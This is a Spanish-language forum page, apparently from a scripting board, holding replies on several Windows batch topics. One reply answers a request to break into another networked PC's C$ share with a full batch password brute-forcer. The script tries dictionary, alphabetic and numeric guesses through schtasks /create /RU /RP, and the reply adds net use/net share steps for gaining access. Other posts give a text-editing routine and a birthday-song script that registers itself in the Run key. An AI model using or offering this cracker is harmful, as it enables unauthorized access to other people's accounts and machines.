Mensajes

 ;-)Ojala permitan que se desarrolle con éxito el proyecto y se pueda utilizar pronto

Según lo que tengo entendido:
1-lo que intentan hacer es acceder a un computador en la misma red (?), desde otro computador.
2-lo que intentan hacer es acceder a un computador mediante Internet(?), desde otro computador.
-En el primer caso, seria utilizar el comando de batch "net use", Ejemplo:

Código [Seleccionar] Expandir

Net use \\192.168.5.10\Recurso_compartido contraseña /USER:Nombre_de_usuario[code=dos]
segun lo que leí en el tema, ardex posee acceso físico, por lo que podría compartir una carpeta(o el disco C:) con el comando "Net Share", la forma de obtener la contraseña por fuerza bruta(aunque no confió mucho en el método), seria con el comando FOR; en este caso, puedo ayudarlos con el codigo.
-En el segundo caso, no se puede hacer nada en batch por si solo(se puede utilizar netcat, pero no viene por defecto en los equipos).
-Si es otro caso, necesitaría una explicación mas clara.
PD:La contraseña para acceder a un computador es la misma del computador, para saber la del computador, aquí un código por fuerza bruta(no es mio).
[code=dos]
@echo off
set abc=a b c d e f g h i j k l m n ¤ o p q r s t u v w x y z
echo BIENVENIDO AL CRAKEADOR DE CLAVES DE WINDOWS
echo primero elige el usuario al que le desees sacar la contrase¤a
echo la lista de usuarios de tu pc son:
net user
set /p usern=escribe el usuario tal y como esta en la lista...
echo.
echo.
:ini
set /a var=0
echo usar un diccionario--1
echo ataque alfabetico----2
echo ataque numerico------3
echo.
set /p var=Eliga una opcion...
if %var%==1 (goto dic)
if %var%==2 (goto alfa)
if %var%==3 (goto num) else (cls && goto ini)
exit
:dic
echo el diccionario debe estar en la misma carpeta que el programa
echo si alguna de las claves del diccionario contiene la letra "¤"
echo dicha clave no sera valida
echo.
set /p dic=Escribe el diccionario junto con su extension...
SetLocal EnabledelayedExpansion

for /f "tokens=*" %%a in (!dic!) do (
echo probando clave...%%a
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP "%%a"
if !errorlevel!==0 (cls & echo clave encontrada: "%%a" & goto firma)
)
cls
echo, la clave no a sido encontrada, pruebe con otro diccionario.
pause>NUL
exit
:alfa
SetLocal EnabledelayedExpansion
set /p num=Eliga el numero de Caracteres (entre 1 y 10)...
if %num%==1 goto 1a
if %num%==2 goto 2a
if %num%==3 goto 3a
if %num%==4 goto 4a
if %num%==5 goto 5a
if %num%==6 goto 6a
if %num%==7 goto 7a
if %num%==8 goto 8a
if %num%==9 goto 9a
if %num%==10 goto 10a
cls & goto gd
:1a
for %%a IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a
echo probando clave...%%a
if !errorlevel!==0 (cls & echo clave encontrada: "%%a" & pause>NUL & exit)
)
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:2a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b
echo probando clave...%%a%%b
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b" & goto firma)
))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:3a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c
echo probando clave...%%a%%b%%c
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c" & goto firma)
)))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:4a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d
echo probando clave...%%a%%b%%c%%d
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d" & goto firma)
))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:5a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e
echo probando clave...%%a%%b%%c%%d%%e
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e" & goto firma)
)))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:6a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
for %%f IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e%%f
echo probando clave...%%a%%b%%c%%d%%e%%f
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e%%f" & goto firma)
))))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:7a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
for %%f IN (%abc%) do (
for %%g IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e%%f%%g
echo probando clave...%%a%%b%%c%%d%%e%%f%%g
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e%%f%%g" & goto firma)
)))))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:8a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
for %%f IN (%abc%) do (
for %%g IN (%abc%) do (
for %%h IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e%%f%%g%%h
echo probando clave...%%a%%b%%c%%d%%e%%f%%g%%h
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e%%f%%g%%h" & goto firma)
))))))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:9a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
for %%f IN (%abc%) do (
for %%g IN (%abc%) do (
for %%h IN (%abc%) do (
for %%i IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e%%f%%g%%h%%i
echo probando clave...%%a%%b%%c%%d%%e%%f%%g%%h%%i
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e%%f%%g%%h%%i" & goto firma)
)))))))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:10a
for %%a IN (%abc%) do (
for %%b IN (%abc%) do (
for %%c IN (%abc%) do (
for %%d IN (%abc%) do (
for %%e IN (%abc%) do (
for %%f IN (%abc%) do (
for %%g IN (%abc%) do (
for %%h IN (%abc%) do (
for %%i IN (%abc%) do (
for %%j IN (%abc%) do (
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a%%b%%c%%d%%e%%f%%g%%h%%i%%j
echo probando clave...%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j
if !errorlevel!==0 (cls & echo clave encontrada: "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j" & goto firma)
))))))))))
cls
echo la clave no a sido encontrada, eliga otro numero de caracteres.
pause>NUL
exit
:num
SetLocal EnabledelayedExpansion
set /a num=0
set /p num1=eliga el numero inicial...
set /p num2=eliga el numero final...
for /l %%a in (%num1%,1,%num2%) do (
echo probando clave...%%a
schtasks /create /TN "%random%" /TR notepad.exe /SC DAILY /ST 11:00:00 /RU %usern% /RP %%a
if !errorlevel!==0 (cls & echo clave encontrada: "%%a" & goto firma)
)
echo, la clave no a sido encontrada, pruebe con otro metodo.
pause>NUL
exit
:firma
echo  ___ ___  __   __ ___   __  __  __  __  ___   __     
echo (  ,\  ,)/  \ / _)  ,) (  )(  \/  )(  )(   \ /  \   
echo  ) _/)  \ () ) (/\)  \ /__\ )    ( /__\ ) ) ) () )   
echo (_) (_)\_)__/ \__/_)\_)_)(_)_/\/\_)_)(_)___/ \__/   

echo    ___  __ ___     ___ __  __  __     
echo   (  ,\/  \  ,)   (  ,\  )/ _)/  \   
echo    ) _/ () )  \    ) _/__\ (_( () )   
echo   (_)  \__/_)\_)  (_)(_)(_)__)\__/ 


echo  ___   __ __  __ __ _  _ __ _  _ ___ ___    __   ___ ___  __  __  __ 
echo (   \ /  \  \/  )  ) \( ) _) )( )  _)_  )  (  ) (  _)  ,)(  \/  )(  )
echo  ) ) ) () )    ( )( )  ( (/\)()( ) _)/ /    )(__ ) _))  \ )    ( /__\
echo (___/ \__/_/\/\_)__)_)\_)__/\__/(___)___)  (____)___)_)\_)_/\/\_)_)(_)

pause>NUL
exit


[/code][/code]

jajaja,  , entonces nose; no soy muy bueno en vbs. Tal vez te sirva esto:
http://foro.elhacker.net/scripting/batch_es_posible_hacer_password_char_en_batch_pregunta-t253112.0.html
Suerte

Hola r7pyrred,¿Que versión de windows tienes?, puede que no tengas la librería (creo que era un OCX) de password (No esta en windows 7)

Tengo la red local

---LAN 1 ----------------192.168.1.0------|router|-------LAN2---192.168.5.0 -------------

lan1 está en un dominio WIndows 2003  MIDOMINIO

Lan2 no está en ningun dominio.

¿ como puedo entrar en el ordenador 192.168.5.10 ?

La máquina no tiene firewall activado. Puedo hacer un \\192.168.5.0\c$ y me pide user y password.
¿ existe algun programa que ataque directamente la máquina y pueda obtener la clave por fuerza bruta ?

Gracias de antemano.

Te serviria un comando en batch?

Si pero solo al archivo.
Resumiendo, lo que EleKtro H@cker intenta decir:

Código (dos) [Seleccionar] Expandir



   @Echo OFF
   Call :TEXTMAN L- 2 "Archivo.txt"
   Pause&Exit


   :: TEXT MANIPULATOR ROUTINE v0.2
   :: by Elektro H@cker
   
   rem USO:
  rem  :TEXTMAN [ACCIÓN] [LÍNEA] [ARCHIVO] [TEXTO (Opcional)]
   
   
   REM ACCIONES:
   REM
   REM  AL  = ADD_LEFT           * AÑADIR TEXTO AL PRINCIPIO DE UNA LÍNEA
   REM  AR  = ADD_RIGHT          * AÑADIR TEXTO AL FINAL DE UNA LÍNEA
   REM  E   = ERASE              * ELIMINAR UNA LÍNEA
   REM  I   = INSERT             * INSERTAR UNA LÍNEA (VACÍA O CON TEXTO)
   REM  RL  = REPLACE_LINE       * REEMPLAZAR UNA LÍNEA
   REM  RS  = REPLACE_STRING     * REEMPLAZAR PALABRAS DE UNA LÍNEA
   REM  RSA = REPLACE_STRING_ALL * REEMPLAZAR PALABRAS EN TODAS LAS LÍNEAS
   REM  C+  = CHARACTER_PLUS     * ELIMINAR LOS PRIMEROS "X" CARACTERES EN TODAS LAS LÍNEAS
   REM  C-  = CHARACTER_LESS     * ELIMINAR LOS ÚLTIMOS  "X" CARACTERES EN TODAS LAS LÍNEAS
   REM  L+  = LINE_PLUS          * CORTAR LAS PRIMERAS "X" LÍNEAS
   REM  L-  = LINE_LESS          * CORTAR LAS ÚLTIMAS  "X" LÍNEAS
   
   
   REM EJEMPLOS DE USO:
   
   :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
   ::
   :: Elimina la línea 3
   :: Call :TEXTMAN E 3 "Test.txt"
   ::
   :: Añade una frase al principio de la línea 3
   :: Call :TEXTMAN AL 3 "Test.txt" "Elektro H@cker"
   ::
   :: Añade una frase al final de la línea 3
   :: Call :TEXTMAN AR 3 "Test.txt" "Elektro H@cker"
   ::
   :: Inserta una línea vacía en la línea 3
   :: Call :TEXTMAN I 3 "Test.txt"
   ::
   :: Inserta una línea con texto en la línea 3
   :: Call :TEXTMAN I 3 "Test.txt" "Elektro H@cker"
   ::
   :: Reemplaza la línea 3 por completo
   :: Call :TEXTMAN RL 3 "Test.txt" "Elektro H@cker"
   ::
   :: Reemplaza las palabras "Elektro" por "H@cker" en la línea 3
   :: Call :TEXTMAN RS 3 "Test.txt" "Elektro" "H@cker"
   ::
   :: Reemplaza las palabras "Elektro" por "H@cker" en todas las líneas
   :: Call :TEXTMAN RSA "Test.txt" "Elektro" "H@cker"
   ::
   :: Elimina los 3 primeros caracteres de todas las líneas
   :: Call :TEXTMAN C+ 3 "Test.txt"
   ::
   :: Elimina los 3 uúltimos caracteres de todas las líneas
   :: Call :TEXTMAN C- 3 "Test.txt"
   ::
   :: Elimina las 3 primeras líneas
   :: Call :TEXTMAN L+ 3 "Test.txt"
   ::
   :: Elimina las 3 últimas líneas
   :: Call :TEXTMAN L- 3 "Test.txt"
   ::
   :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

   
:TEXTMAN
(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)
:AL
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (Echo %%@ >> "%~nx3.NEW") ELSE (Echo %~4%%@ >> "%~nx3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:AR
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (Echo %%@ >> "%~nx3.NEW") ELSE (Echo %%@%~4 >> "%~nx3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:E
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (Echo %%@ >> "%~nx3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:I
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF     "%%LINE%%" EQU "%~2" (IF NOT "%~4" EQU "" (Echo %~4 >> "%~nx3.NEW") ELSE (Echo. >> "%~nx3.NEW"))" & Echo %%@ >> "%~nx3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RL
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (Echo %%@ >> "%~nx3.NEW") ELSE (Echo %~4 >> "%~nx3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RS
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (Echo %%@ >> "%~nx3.NEW") ELSE (CALL SET "STRING=%%@" && CALL ECHO %%STRING:%~4=%~5%% >> "%~nx3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RSA
(For /F "usebackq tokens=*" %%@ in ("%~2") DO (CALL SET "STRING=%%@" && (CALL ECHO %%STRING:%~3=%~4%% >> "%~2.NEW"))) && (CALL :RENAMER "%~2") & (GOTO:EOF)
:C+
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~%~2%% >>    "%~nx3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:C-
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~0,-%~2%% >> "%~nx3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L+
(Call SET /A "A=%~2") && (Call TYPE "%~3" | @MORE +%%A%% > "%~nx3.NEW") && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L-
(FOR /F %%X IN ('TYPE "%~3"') DO (CALL SET /A "TOTAL_LINES+=1")) & (CALL SET /A "TOTAL_LINES-=%~2-1") & (For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set /A "LINE+=1" & Call echo "%%LINE%%"|@FIND "%%TOTAL_LINES%%" >NUL) && (CALL :RENAMER "%~3" && GOTO:EOF) || (Echo %%@ >> "%~nx3.NEW"))
:RENAMER
(REN "%~1" "%~nx1.BAK") & (MOVE /Y "%~nx1.BAK" "%TEMP%\" >NUL) & (REN "%~nx1.NEW" "%~nx1") & (GOTO:EOF)


Muchas gracias iTzTito  , voy a probar con la maquina virtual, ya casi termino el script, Net SHARE /GRANT era para dar permisos a los usuarios del mismo equipo sobre la carpeta, Net SHARE /USERS es para dar acceso limitado a un numero de usuario, asi que para evitar problemas lo cambie por /UNLIMITED (que permite acceso ilimitado a la carpeta compartida).
Para acceder necesitaba "Net use" .

Si quieres practicar con una maquina virtual podras hacerlo perfectamente.
Pero si quieres que probemos yo te presto "mis servicios" y asi podemos aprender los dos.
Si quieres por aqui por el foro estoy 

Jaja, tranquilo y pues gracias; ¿como va el servidor?

podrían ayudarme en el siguiente ejercicio?

Un bat que reproduzca una versión del cumpleaños feliz (por ejemplo en mp3) cuando el usuario que inicie la sesión cumpla años. Para ello, contamos con el fichero 'Nacimientos.txt' donde guardamos la fecha de nacimiento de cada usuario. El formato de cada entrada será:

Lmartin:dd/mm/aaaa

Si el archivo tuviera "Lmartin dd/mm/aa"(con los espacios para que los lea for) podrías utilizar este código.

Código (dos) [Seleccionar] Expandir


@echo off
REM re-coded Segadorfelix
REM foro.elhacker.net
REM se crea un inicio automatico
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Cumpleaños /t REG_SZ /d %0
Rem se lee la fecha de nacimiento
FOR /F "tokens=2" %%_ IN (Nacimientos.txt) DO (set fecha1=%%_)
Rem se saca la fecha actual
Date /F>actual.txt
FOR /F "tokens=1" %%_ IN (actual.txt) DO (set fecha2=%%_)
del actual.txt
Rem se verifican datos
IF %fecha1%==%fecha2% goto reproducir else (exit)
:reproducir
Rem se da el mensaje al reproductor
CALL:REPRODUCTOR play "cancion.mp3"
exit
:REPRODUCTOR
REM Coded by SmartGenius
REM Thanks to NovLucker
if ["%1"]==[""] (goto :Help)
if ["%1"]==["stop"] (call :stop &goto :eof)
if ["%1"]==["play"] (if not ["%~2"]==[""] (call :play "%~2" >nul)) else (goto :Help)
goto:eof

:play
echo Set Wmp = CreateObject("WMPlayer.OCX") >%temp%\player.vbs
echo archivo = Wscript.Arguments.Item(0) >>%temp%\player.vbs
echo Wmp.URL = (archivo) >>%temp%\player.vbs
echo Wmp.Controls.play >>%temp%\player.vbs
echo do while Wmp.currentmedia.duration = 0 >>%temp%\player.vbs
echo wscript.sleep 100 >>%temp%\player.vbs
echo loop >>%temp%\player.vbs
echo wscript.sleep (int(Wmp.currentmedia.duration)+1)*1000 >>%temp%\player.vbs
start %temp%\player.vbs %1
goto :eof
Rem se puede modificar el script para que la música se detenga, si no es necesario
Rem se borra todo lo que sigue esta linea
:stop
taskkill /f /im wscript.exe > nul
del /f /q %temp%\player.vbs
goto :eof


Estoy pensando en realizar un chat dentro de una misma red (Intranet), que lea y escriba en una archivo dentro de una carpeta compartida; el chat podría enviar y recibir mensajes y archivos; el problema es que solo tengo un computador(Windows 7), para probar el script, se que se puede utilizar el comando "Net SHARE", pero no se si después de compartir la carpeta, el otro equipo necesite el usuario y contraseña, del equipo principal(el que compartió la carpeta); La segunda duda es si se puede modificar cuales de los equipos pueden "chatear" y cuales no (Podría ser con "Net SHARE /USERS" para el numero y ¿Net SHARE /GRANT:? ).

Gracias.

Están excelentes los códigos.
Para crear un archivo de 0 kb, tambien se puede utilizar el comando color

Código (dos) [Seleccionar] Expandir

color 1A>archivo.txt